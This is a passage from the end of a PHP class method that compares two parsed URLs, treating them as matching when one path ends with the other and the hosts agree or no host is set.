						\substr( $parsed_url1['path'], -\strlen( $parsed_url2['path'] ) ) === $parsed_url2['path'] ||
						\substr( $parsed_url2['path'], -\strlen( $parsed_url1['path'] ) ) === $parsed_url1['path']
					) && ( ! $is_host_set || ( $is_host_set && $parsed_url1['host'] === $parsed_url2['host'] ) )
				) {
					/**
					 * Check if both parsed URLs have 'path' and 'host' component and if they match.
					 * If either 'host' is not set but 'path' matches, consider it a match.
					 */
					return true;
				}
			}
		}

		return false;
	}
}